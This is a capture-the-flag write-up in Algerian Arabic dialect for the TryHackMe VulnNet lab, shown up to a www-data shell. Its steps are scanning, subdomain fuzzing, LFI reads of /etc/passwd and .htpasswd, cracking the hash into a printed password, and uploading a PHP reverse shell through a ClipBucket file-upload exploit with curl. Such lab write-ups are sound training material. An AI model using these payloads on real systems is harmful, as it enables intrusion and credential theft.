المقدّمة
التحدي تاع اليوم من منصة TryHackMe اسمو VulnNet، والتصنيف تاعو Medium.
بالمقارنة مع التحديات اللي درناهم من قبل، هاد واحد فيه شوية خطوات زايدة ويحتاج تركيز أكثر، بصح ماشي حاجة مستحيلة.
فيه مزج ما بين جمع المعلومات، تحليل السورس كود، واستعمال بعض الثغرات باش توصل للهدف.
| 💻 المنصة | TryHackMe |
| 🔗 الرابط | اضغط هنا |
| 🖥️ نظام التشغيل | Linux |
| 🎯 الصعوبة | متوسطة |
| 🧠 TTPs (طرق وتقنيات) | Local File Inclusion (LFI) Arbitrary File Upload Wildcard Injection |

إعداد بيئة العمل

في بداية التحدي، المنصة قالت لازم نزيدو IP تاع الماشين مع الدومين vulnnet.thm في الملف /etc/hosts.
هاد الخطوة عادي نشوفوها في التحديات ، وهي تعتبر best practice، خاصة كي يكون كاين احتمال تلقى subdomains، لأن وجود دومين رئيسي يسهل عليك عملية الفحص والاكتشاف.
كيف نديرها؟
- نفتح التيرمينال.
- نشغل أمر تعديل الملف
/etc/hostsمثلاً:
sudo nano /etc/hosts3. في السطر الجديد، نكتب:
10.10.X.X vulnnet.thm4. نحفظ ونخرج.
وش يدير هاد الملف؟
الملف /etc/hosts هو جدول محلي في جهازك يربط أسماء الدومينات بـ عناوين IP.
يعني كي تكتب vulnnet.thm في المتصفح أو تستعملو في الأدوات، النظام يروح مباشرة للـ IP اللي سجلتو، بلا ما يطلبه من الـ DNS.
Enumeration – جمع المعلومات
Nmap Scan – فحص الشبكة
بعد ما حضرنا بيئة العمل وربطنا الدومين vulnnet.thm بالـ IP تاع الماشين، أول خطوة دايمًا نبدأو بيها هي الفحص باستخدام Nmap.
الهدف من الفحص هو نعرفو وش الخدمات والمنافذ (ports) اللي راهي مفتوحة، باش نقدر نحدد نقطة الانطلاق في الاستغلال.
sudo nmap -A -T4 vulnnet.thm -oN vulnnet.nmapStarting Nmap 7.95 ( https://nmap.org ) at 2025-08-09 09:38 CET
Verbosity Increased to 1.
Completed Service scan at 09:38, 6.29s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against vulnnet.thm (10.10.203.40)
Initiating Traceroute at 09:38
Completed Traceroute at 09:38, 0.07s elapsed
Initiating Parallel DNS resolution of 1 host. at 09:38
Completed Parallel DNS resolution of 1 host. at 09:38, 0.05s elapsed
NSE: Script scanning 10.10.203.40.
Initiating NSE at 09:38
Completed NSE at 09:39, 3.13s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.30s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Nmap scan report for vulnnet.thm (10.10.203.40)
Host is up (0.072s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
| 256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_ 256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: VulnNet
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 34.800 days (since Sat Jul 5 14:26:51 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 69.80 ms 10.23.0.1
2 69.90 ms vulnnet.thm (10.10.203.40)
NSE: Script Post-scanning.
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Initiating NSE at 09:39
Completed NSE at 09:39, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds
Raw packets sent: 1036 (46.370KB) | Rcvd: 1026 (41.782KB)
التحليل:
- Port 22 (SSH): خدمة SSH مفتوحة، غالبًا هذي هنستعملها لاحقًا إذا لقينا بيانات دخول صحيحة. النسخة 7.6p1 على أوبونتو قديمة نسبيًا، بصح ما فيهاش ثغرات معروفة مباشرة للاستغلال.
- Port 80 (HTTP): سيرفر Apache 2.4.29 مع صفحة ويب عنوانها VulnNet. هذا هو المدخل الرئيسي للفحص، وهنا غالبًا هنلقى الثغرات أو الملفات المخفية.
ملاحظة من تجربة : وجود دومين مخصص + خدمة HTTP عادة مؤشر قوي على احتمال وجود subdomains أو ملفات حساسة مخفية، خاصة إذا كان التحدي طلب إضافة الدومين للـ /etc/hosts في البداية.
Feroxbuster – استكشاف الملفات والمجلدات

feroxbuster -u http://vulnnet.thm -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txtشرح الخيارات:
-u: رابط الموقع اللي نفحصوه.-w: قائمة الكلمات (wordlist) باش نجرب أسماء الملفات والمجلدات.
404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 8l 42w 2623c http://vulnnet.thm/img/favicon-32x32.png
200 GET 2l 64w 3910c http://vulnnet.thm/js/index__7ed54732.js
200 GET 11l 366w 16797c http://vulnnet.thm/css/pure-min.css
200 GET 1338l 2312w 21658c http://vulnnet.thm/css/font-awesome.css
200 GET 235l 555w 4161c http://vulnnet.thm/css/index.css
200 GET 507l 1104w 9344c http://vulnnet.thm/css/login.css
200 GET 150l 959w 76772c http://vulnnet.thm/img/file-icons.png
200 GET 7l 1966w 155758c http://vulnnet.thm/css/bootstrap.min.css
301 GET 9l 28w 308c http://vulnnet.thm/css => http://vulnnet.thm/css/
200 GET 141l 462w 5829c http://vulnnet.thm/
301 GET 9l 28w 307c http://vulnnet.thm/js => http://vulnnet.thm/js/
200 GET 2l 1297w 89476c http://vulnnet.thm/js/jquery.min.js
200 GET 2l 54w 2038c http://vulnnet.thm/js/index__d8338055.js
200 GET 17l 68w 1156c http://vulnnet.thm/img/
301 GET 9l 28w 310c http://vulnnet.thm/fonts => http://vulnnet.thm/fonts/
200 GET 205l 1266w 102931c http://vulnnet.thm/fonts/fontawesome-webfont.woff
[>-------------------] - 47s 37806/2547668 39m found:16 errors:41
[>-------------------] - 47s 20217/1273818 434/s http://vulnnet.thm/
[####################] - 0s 1273818/1273818 4082750/s http://vulnnet.thm/css/ => Directory listing (add --scan-dir-listings to scan)
[>-------------------] - 46s 17545/1273818 383/s http://vulnnet.thm/img/
[####################] - 5s 1273818/1273818 280453/s http://vulnnet.thm/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s 1273818/1273818 3813826/s http://vulnnet.thm/fonts/ => Directory listing (add --scan-dir-listings to scan) النتيجة:
في هذا التحدي، الفحص ما جابش ملفات أو مجلدات مثيرة للاهتمام.
وهذا يخلينا نشك أن المحتوى المهم مخبأ في مكان آخر، أو ممكن يكون مربوط بـ subdomain.
SQL Injection Testing – اختبار حقن SQL
بعد ما تفقدنا الموقع، لقينا أن الصفحة الوحيدة اللي فيها فورم إدخال هي تسجيل الدخول (login/password).
جربنا نعمل SQL Injection عليها، لأن هذي من أول الحاجات اللي تتجرب في أي صفحة تسجيل دخول مشبوهة.
الخطوات:
- فتحنا الصفحة في المتصفح ومررنا الطلب عبر BurpSuite باش نقدر نتحكم فيه ونخزنه.
- حفظنا الـ HTTP request الخاص بمحاولة تسجيل الدخول.
- استعملنا الأداة sqlmap لنجرب إذا الحقول مصابة بحقن SQL:


sqlmap -r req.r --level 5 --risk 3 --tamper=space2comment --random-agent ___
__H__
___ ___[)]_____ ___ ___ {1.9.6#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:47:25 /2025-08-09/
[09:47:25] [INFO] parsing HTTP request from 'req.r'
[09:47:25] [INFO] loading tamper module 'space2comment'
[09:47:25] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[09:47:25] [INFO] testing connection to the target URL
[09:47:26] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:47:26] [INFO] testing if the target URL content is stable
[09:47:26] [INFO] target URL content is stable
[09:47:26] [INFO] testing if GET parameter 'login' is dynamic
[09:47:26] [WARNING] GET parameter 'login' does not appear to be dynamic
[09:47:26] [WARNING] heuristic (basic) test shows that GET parameter 'login' might not be injectable
[09:47:26] [INFO] testing for SQL injection on GET parameter 'login'
[09:47:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:47:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:47:43] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
النتيجة:
الأداة عطتنا بعض false positives وما كانش كاين أي استغلال مباشر أو معلومات مهمة.
في الحالة هذي، بدل ما نضيع وقت أكثر على نفس النقطة، رجعنا لخطة ثانية: البحث عن النطاقات الفرعية (Subdomains) اللي ممكن تفتح لنا باب جديد.
Subdomain Fuzzing – اكتشاف النطاقات الفرعية
بعد ما ما لقيناش نتيجة من حقن SQL، قررنا نفحص وجود subdomains للدومين vulnnet.thm.
هاد الخطوة من العادة نبدأها بفحص عادي، وبعدها نحاول نصفي النتائج حسب حجم الصفحة باش نتجنب الضجيج.
الخطوة 1 – فحص مبدئي:
wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm'شرح الخيارات:
-c: تلوين النتائج باش تكون مقروءة أكثر.-u: رابط الفحص مع كلمةFUZZاللي يتبدل مكانها بالكلمات من الـ wordlist.-w: ملف الكلمات المستعمل.
➜ 1vulnnet wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm'
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://vulnnet.thm/
Total requests: 114606
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 141 L 462 W 5829 Ch "www"
000000007: 200 141 L 462 W 5829 Ch "webdisk"
000000031: 200 141 L 462 W 5829 Ch "mobile"
000000049: 200 141 L 462 W 5829 Ch "server"
000000045: 200 141 L 462 W 5829 Ch "www1"
000000046: 200 141 L 462 W 5829 Ch "img"
000000047: 200 141 L 462 W 5829 Ch "news" في النتائج المبدئية، لاحظت أن أغلب الردود كان حجمها حوالي 462 بايت، وهذا غالبًا محتوى افتراضي أو صفحة فارغة.
wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm' --hw 462الخطوة 2 – تصفية النتائج:
بما أن الحجم المتكرر هو 462، أعدت الفحص مع خيار --hw 462 لتجاهل هذي الصفحات:
➜ 1vulnnet wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://vulnnet.thm' -H 'Host: FUZZ.vulnnet.thm' --hw 462
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://vulnnet.thm/
Total requests: 114606
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000690: 400 12 L 53 W 424 Ch "gc._msdcs"
000001238: 401 14 L 54 W 468 Ch "broadcast"
النتيجة:
الفحص بعد التصفية كشف لنا عن نطاق فرعي مهم:

باش نقدر نتصل به، لازم نضيفه يدويًا لملف /etc/hosts مع نفس الـ IP تاع الماكينة:
10.10.203.40 vulnnet.thm broadcast.vulnnet.thm
هذا يخلي أي طلب على broadcast.vulnnet.thm يروح مباشرة للـ IP الخاص بالتحدي.
لكن كي نحاول ندخلو، يطلب HTTP Basic Authentication (اسم مستخدم وكلمة مرور).
بما أنه ما عندناش بيانات الدخول في هذي المرحلة، رجعنا للموقع الرئيسي باش نكمل التحقيق.

Source Code Review – تحليل أكواد JavaScript
بعد ما انسدّ علينا باب الـ HTTP Basic Auth في الـ subdomain اللي لقيناه، قررنا نرجع للموقع الرئيسي ونشوف إذا كان فيه أي حاجة مخبية في الكود.
الخطوة الأولى:
من خلال Developer Tools في المتصفح، عندك خيارين باش توصل للمعلومة:
- View Page Source لعرض الكود الخام لصفحة الـ HTML.
- أو Network Tab باش تراقب الملفات اللي تتلّوح وقت تحميل الصفحة.
لاحظنا أن الموقع يحمّل ملفين JavaScript.


!function(e,t){for(var n in t)e[n]=t[n]}(window,function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="http://vulnnet.thm/index.php?referer=",n(n.s=0)}({0:function(e,t,n){e.exports=n("O14P")},O14P:function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}n.r(t),n.d(t,"default",(function(){return i}));let o=()=>({events:{},emit(e,...t){for(let n of this.events[e]||[])n(...t)},on(e,t){return(this.events[e]=this.events[e]||[]).push(t),()=>this.events[e]=this.events[e].filter(e=>e!==t)}});var i=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:o();r(this,e),this.emitter=t}var t;return(t=[{key:"onReloadPaymentInfo",value:function(e){return this.emitter.on("RELOAD_PAYMENT_INFO",e)}},{key:"reloadPaymentInfo",value:function(){this.emitter.emit("RELOAD_PAYMENT_INFO")}}])&&function(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}(e.prototype,t),e}();window.opbox.services.register({serviceName:"opbox-affiliate-program-service"},i)}}));
//# sourceMappingURL=index_d8338055.js.map
!function(a,e){for(var t in e)a[t]=e[t]}(window,function(a){var e={};function t(n){if(e[n])return e[n].exports;var s=e[n]={i:n,l:!1,exports:{}};return a[n].call(s.exports,s,s.exports,t),s.l=!0,s.exports}return t.m=a,t.c=e,t.d=function(a,e,n){t.o(a,e)||Object.defineProperty(a,e,{enumerable:!0,get:n})},t.r=function(a){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(a,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(a,"__esModule",{value:!0})},t.t=function(a,e){if(1&e&&(a=t(a)),8&e)return a;if(4&e&&"object"==typeof a&&a&&a.__esModule)return a;var n=Object.create(null);if(t.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:a}),2&e&&"string"!=typeof a)for(var s in a)t.d(n,s,function(e){return a[e]}.bind(null,s));return n},t.n=function(a){var e=a&&a.__esModule?function(){return a.default}:function(){return a};return t.d(e,"a",e),e},t.o=function(a,e){return Object.prototype.hasOwnProperty.call(a,e)},t.p="http://broadcast.vulnnet.thm",t(t.s=0)}({0:function(a,e,t){a.exports=t("WdQY")},WdQY:function(a,e,t){"use strict";function n(a,e,t){return e in a?Object.defineProperty(a,e,{value:t,enumerable:!0,configurable:!0,writable:!0}):a[e]=t,a}t.r(e);var s=t("kiQV");function l(a){var e=a.host,t=a.chatAlias,n=a.callbackAlias,s=a.lang;return fetch(function(a){var e=a.host,t=a.chatAlias,n=void 0===t?"":t,s=a.callbackAlias,l=void 0===s?"":s,i=a.lang,c=void 0===i?"en-US":i;return"".concat(void 0===e?"http://broadcast.vulnnet.thm":e).concat("/","?_alias=").concat(n,"&_callbackAlias=").concat(l,"&_lang=").concat(c)}({host:e,chatAlias:t,callbackAlias:n,lang:s})).then((function(a){return a.json()})).then((function(a){return{chatAgentsAvailable:a.agents>0,callbackAsapAgentsAvailable:a.callbackAsapAgentsAvailable>0,callbackScheduleAgentsAvailable:a.callbackScheduleAgentsAvailable>0}}))}t.d(e,"INTERVAL_TIME",(function(){return i})),t.d(e,"default",(function(){return r}));var i=5e3,c=function(){},r=function a(){var e=this;!function(a,e){if(!(a instanceof e))throw new TypeError("Cannot call a class as a function")}(this,a),n(this,"clearInterval",(function(){e.agentsAvailabilityCheckInterval&&(clearInterval(e.agentsAvailabilityCheckInterval),e.agentsAvailabilityCheckInterval=null)})),n(this,"checkAgentsAvailability",(function(){l({host:e.host,chatAlias:e.chatAlias,callbackAlias:e.callbackAlias,lang:e.lang}).then(e.updateAgentsStatus)})),n(this,"startAgentsAvailabilityChecker",(function(a){var t=a.host,n=a.chatAlias,s=a.callbackAlias,c=a.lang,r=void 0===c?"en-US":c;e.callbackAlias=s,e.chatAlias=n,e.host=t,e.lang=r,e.clearInterval(),l({host:t,chatAlias:n,callbackAlias:s,lang:r}).then(e.updateAgentsStatus),e.agentsAvailabilityCheckInterval=setInterval(e.checkAgentsAvailability,i)})),n(this,"registerFunctions",(function(a){var t=a.startGenesysSession,n=void 0===t?e.startGenesysSession:t,s=a.endGenesysSession,l=void 0===s?e.endGenesysSession:s;e.startGenesysSession=n,e.endGenesysSession=l})),n(this,"startChatSession",(function(){e.startGenesysSession(),e.chatInProgress=!0})),n(this,"updateMedaliaScenario",(function(a){e.medaliaScenario=a})),n(this,"updateAgentsStatus",(function(a){var t=a.chatAgentsAvailable,n=a.callbackAsapAgentsAvailable,s=a.callbackScheduleAgentsAvailable;e.chatAgentsAvailable=t,e.callbackAsapAgentsAvailable=n,e.callbackScheduleAgentsAvailable=s})),n(this,"quitChatSession",(function(){e.endGenesysSession(),e.chatInProgress=!1})),this.agentsAvailabilityCheckInterval=null,this.callbackAlias="",this.callbackAsapAgentsAvailable=!1,this.callbackScheduleAgentsAvailable=!1,this.chatAgentsAvailable=!1,this.chatAlias="",this.chatInProgress=!1,this.endGenesysSession=c,this.host="",this.lang="en-US",this.medaliaScenario="",this.startGenesysSession=c};window.opbox.services.register({serviceName:s.a},r)},kiQV:function(a){a.exports=JSON.parse('{"a":"opbox-customer-chat-service"}')}}));
//# sourceMappingURL=index_7ed54732.js.mapالخطوة الثانية – جعل الكود مقروء:
الملفات كانت minified (يعني مكتوبة في سطر واحد ومضغوطة)، فاستعملنا أداة beautifier على الإنترنت باش نرجعهم لكود منظم ومقروء.
! function(a, e) {
for (var t in e) a[t] = e[t]
}(window, function(a) {
var e = {};
function t(n) {
if (e[n]) return e[n].exports;
var s = e[n] = {
i: n,
l: !1,
exports: {}
};
return a[n].call(s.exports, s, s.exports, t), s.l = !0, s.exports
}
return t.m = a, t.c = e, t.d = function(a, e, n) {
t.o(a, e) || Object.defineProperty(a, e, {
enumerable: !0,
get: n
})
}, t.r = function(a) {
"undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(a, Symbol.toStringTag, {
value: "Module"
}), Object.defineProperty(a, "__esModule", {
value: !0
})
}, t.t = function(a, e) {
if (1 & e && (a = t(a)), 8 & e) return a;
if (4 & e && "object" == typeof a && a && a.__esModule) return a;
var n = Object.create(null);
if (t.r(n), Object.defineProperty(n, "default", {
enumerable: !0,
value: a
}), 2 & e && "string" != typeof a)
for (var s in a) t.d(n, s, function(e) {
return a[e]
}.bind(null, s));
return n
}, t.n = function(a) {
var e = a && a.__esModule ? function() {
return a.default
} : function() {
return a
};
return t.d(e, "a", e), e
}, t.o = function(a, e) {
return Object.prototype.hasOwnProperty.call(a, e)
}, t.p = "http://broadcast.vulnnet.thm", t(t.s = 0)
}({
0: function(a, e, t) {
a.exports = t("WdQY")
},
WdQY: function(a, e, t) {
"use strict";
function n(a, e, t) {
return e in a ? Object.defineProperty(a, e, {
value: t,
enumerable: !0,
configurable: !0,
writable: !0
}) : a[e] = t, a
}
t.r(e);
var s = t("kiQV");
function l(a) {
var e = a.host,
t = a.chatAlias,
n = a.callbackAlias,
s = a.lang;
return fetch(function(a) {
var e = a.host,
t = a.chatAlias,
n = void 0 === t ? "" : t,
s = a.callbackAlias,
l = void 0 === s ? "" : s,
i = a.lang,
c = void 0 === i ? "en-US" : i;
return "".concat(void 0 === e ? "http://broadcast.vulnnet.thm" : e).concat("/", "?_alias=").concat(n, "&_callbackAlias=").concat(l, "&_lang=").concat(c)
}({
host: e,
chatAlias: t,
callbackAlias: n,
lang: s
})).then((function(a) {
return a.json()
})).then((function(a) {
return {
chatAgentsAvailable: a.agents > 0,
callbackAsapAgentsAvailable: a.callbackAsapAgentsAvailable > 0,
callbackScheduleAgentsAvailable: a.callbackScheduleAgentsAvailable > 0
}
}))
}
t.d(e, "INTERVAL_TIME", (function() {
return i
})), t.d(e, "default", (function() {
return r
}));
var i = 5e3,
c = function() {},
r = function a() {
var e = this;
! function(a, e) {
if (!(a instanceof e)) throw new TypeError("Cannot call a class as a function")
}(this, a), n(this, "clearInterval", (function() {
e.agentsAvailabilityCheckInterval && (clearInterval(e.agentsAvailabilityCheckInterval), e.agentsAvailabilityCheckInterval = null)
})), n(this, "checkAgentsAvailability", (function() {
l({
host: e.host,
chatAlias: e.chatAlias,
callbackAlias: e.callbackAlias,
lang: e.lang
}).then(e.updateAgentsStatus)
})), n(this, "startAgentsAvailabilityChecker", (function(a) {
var t = a.host,
n = a.chatAlias,
s = a.callbackAlias,
c = a.lang,
r = void 0 === c ? "en-US" : c;
e.callbackAlias = s, e.chatAlias = n, e.host = t, e.lang = r, e.clearInterval(), l({
host: t,
chatAlias: n,
callbackAlias: s,
lang: r
}).then(e.updateAgentsStatus), e.agentsAvailabilityCheckInterval = setInterval(e.checkAgentsAvailability, i)
})), n(this, "registerFunctions", (function(a) {
var t = a.startGenesysSession,
n = void 0 === t ? e.startGenesysSession : t,
s = a.endGenesysSession,
l = void 0 === s ? e.endGenesysSession : s;
e.startGenesysSession = n, e.endGenesysSession = l
})), n(this, "startChatSession", (function() {
e.startGenesysSession(), e.chatInProgress = !0
})), n(this, "updateMedaliaScenario", (function(a) {
e.medaliaScenario = a
})), n(this, "updateAgentsStatus", (function(a) {
var t = a.chatAgentsAvailable,
n = a.callbackAsapAgentsAvailable,
s = a.callbackScheduleAgentsAvailable;
e.chatAgentsAvailable = t, e.callbackAsapAgentsAvailable = n, e.callbackScheduleAgentsAvailable = s
})), n(this, "quitChatSession", (function() {
e.endGenesysSession(), e.chatInProgress = !1
})), this.agentsAvailabilityCheckInterval = null, this.callbackAlias = "", this.callbackAsapAgentsAvailable = !1, this.callbackScheduleAgentsAvailable = !1, this.chatAgentsAvailable = !1, this.chatAlias = "", this.chatInProgress = !1, this.endGenesysSession = c, this.host = "", this.lang = "en-US", this.medaliaScenario = "", this.startGenesysSession = c
};
window.opbox.services.register({
serviceName: s.a
}, r)
},
kiQV: function(a) {
a.exports = JSON.parse('{"a":"opbox-customer-chat-service"}')
}
}));
//# sourceMappingURL=index_7ed54732.js.map
لخطوة الثالثة – الاكتشافات:
من خلال قراءة الكود:
- تأكدنا من اسم الـ subdomain:
broadcast(اللي كنا لقيناه بالفحص). - لقينا مدخل جديد مثير للاهتمام:

- هذي الباراميتر ممكن تكون مدخل لاستغلالات مثل LFI (Local File Inclusion)، لكن في هذي المرحلة اكتفينا بتدوين الملاحظة باش نرجع لها لاحقًا.
ملاحظة : ملفات JavaScript في كثير من الأحيان تخلي معلومات عن مسارات أو نطاقات فرعية أو باراميترات خاصة، لذلك مراجعتها خطوة مهمة حتى لو ما بان فيها شيء خطير من أول نظرة.
Foothold – الحصول على نقطة دخول
LFI Discovery – اكتشاف ثغرة Local File Inclusion
استعملنا Burp Suite Repeater باش نجرب الباراميتر referer اللي شفناه من قبل في ملف الـ JavaScript.
بدأنا نجرب Payloads معروفة مثل: ?referer=/etc/passwd

النتيجة:
- لاحظنا أن حجم الرد (Response Size) تغيّر.
- في الكود المصدري (Source Code) ظهرت لنا محتويات ملف
/etc/passwd.
هنا تأكدنا رسميًا بلي عندنا LFI – Local File Inclusion.
باختصار:
LFI هي ثغرة تخليك تقرأ أو حتى تنفذ ملفات موجودة على السيرفر، عن طريق تمرير مسار الملف في باراميتر ما فيهش تحقق جيد من المدخلات.
من LFI إلى بيانات دخول
تذكّرنا أن عندنا subdomain محمي بكلمة مرور عبر HTTP Basic Auth، وكنا وقتها ما قدرناش ندخلو.
ببحث سريع في Google على مكان تخزين بيانات الدخول في Apache، /etc/apache2/.htpasswd لقينا أن الملف غالبًا يكون في:
استعملنا نفس تقنية الـ LFI لجلب الملف: ?referer=/etc/apache2/.htpasswd

حصلنا على اسم المستخدم وكلمة المرور، لكن كلمة المرور كانت مشفرة (Hash).
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0John : كسر كلمة المرور
باستعمال أداة مثل John the Ripper، قدرنا نكسر الهاش ونحصل على كلمة المرور بنص واضح (Cleartext).
هكذا أصبح عندنا بيانات الدخول الكاملة لولوج الـ subdomain.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
No password hashes left to crack (see FAQ)
john hash.txt --show
developers:9972761drmfsls
استكشاف النطاق الفرعي – Exploring the Subdomain
بعد ما فكّينا كلمة المرور، قدرنا نسجّل الدخول بنجاح للـ subdomain المحمي.
النطاق الفرعي هذا كان يحتوي على منصة ClipBucket، وهي سكربت إدارة فيديوهات يشبه يوتيوب لكن خاص بالسيرفرات الذاتية.
بما أن ClipBucket معروف ببعض الثغرات القديمة، أول خطوة قمنا بها كانت تحديد الإصدار.


من خلال قراءة كود الـ HTML، اكتشفنا أن الإصدار المستخدم قديم نوعًا ما، وهذا يعطينا فكرة أننا ممكن نلاقي ثغرات معروفة (Exploits) جاهزة.
قمنا ببحث سريع في Exploit-DB ووجدنا ثغرة Arbitrary File Upload، تسمح برفع ملفات PHP خبيثة بدون فلترة صحيحة.
هذي بالضبط الفرصة اللي كنا ننتظرها للحصول على Foothold على السيرفر.
searchsploit clipbucket 4.0
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection | php/webapps/44250.txt
ClipBucket < 4.0.0 - Release 4902 - Command Injection / File Upload / SQL Injection | php/webapps/44250.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
2. Unauthenticated Arbitrary File Upload
Below is the cURL request to upload arbitrary files to the webserver with no
authentication required.
$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/beats_uploader.php"
$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/photo_uploader.php"
من خلال بحثنا في searchsploit، لقينا Exploit جاهز لنسخة ClipBucket المستعملة:
ثغرة رفع ملفات عشوائية بدون أي توثيق (Unauthenticated Arbitrary File Upload)، وهذا معناه نقدر نرفع شِل مباشرة للسيرفر حتى قبل تسجيل الدخول للوحة التحكم.
تجهيز الشِل
بما أن كالي يحتوي مسبقًا على Reverse Shell جاهز، نسخناه للعمل:
cp /usr/share/webshells/php/php-reverse-shell.php ./rev.phpقمنا بعدها بتعديل IP و PORT داخل rev.php ليتوافق مع عنوان جهازنا وبورت الاستماع.
رفع الشِل
استعملنا الأمر من الـ exploit مع تعديل الملف:
curl -u developers:9972761drmfsls -F "file=@rev.php" -F "plupload=1" -F "name=rev.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php"النتيجة:
creating file{"success":"yes","file_name":"17547351436587e3","extension":"php","file_directory":"CB_BEATS_UPLOAD_DIR"} % تشغيل الـ Reverse Shell
http://vulnnet.thm/action/CB_BEATS_UPLOAD_DIR/17547351436587e3.php

تثبيت الجلسة
$ python3 -c 'import pty;pty.spawn("/bin/bash")';
www-data@vulnnet:/$ whoami
whoami
www-data
